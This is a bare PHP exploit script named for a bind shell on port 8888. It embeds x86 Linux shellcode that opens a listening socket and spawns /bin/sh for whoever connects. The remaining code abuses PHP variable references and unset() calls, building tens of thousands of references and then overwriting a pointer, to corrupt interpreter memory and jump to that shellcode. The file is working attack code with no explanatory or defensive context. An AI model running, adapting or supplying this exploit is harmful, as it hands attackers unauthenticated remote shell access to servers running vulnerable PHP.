blind_port_8888.php

<?
   $shellcode = "\x6a\x66\x58\x6a\x01\x5b\x99\x52\x53\x6a\x02\x89".



                "\xe1\xcd\x80\x52\x43\x68\xff\x02".



                "\x22\xb8". //port (8888)



                "\x89\xe1".



                "\x6a\x10\x51\x50\x89\xe1\x89\xc6\xb0\x66\xcd\x80".



                "\x43\x43\xb0\x66\xcd\x80\x52\x56\x89\xe1\x43\xb0".



                "\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80".



                "\x41\xe2\xf8\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f".



                "\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";







  $________________________str = str_repeat("A", 39);



  $________________________yyy = &$________________________str;



  $________________________xxx = &$________________________str;



  for ($i = 0; $i < 65534; $i++) $arr[] = &$________________________str;



  $________________________aaa = "   XXXXX   ";



  $________________________aab = " XXXx.xXXX ";



  $________________________aac = " XXXx.xXXX ";



  $________________________aad = "   XXXXX   ";



  unset($________________________xxx);



  unset($________________________aaa);



  unset($________________________aab);



  unset($________________________aac);



  unset($________________________aad);



  $arr = array($shellcode => 1);







  $addr = unpack("L", substr($________________________str, 6*4, 4));



  $addr = $addr[1] + 32;



  $addr = pack("L", $addr);







  for ($i=0; $i<strlen($addr); $i++) {



    $________________________str[8*4+$i] = $addr[$i];



    $________________________yyy[8*4+$i] = $addr[$i];



  }



  unset($arr);

?>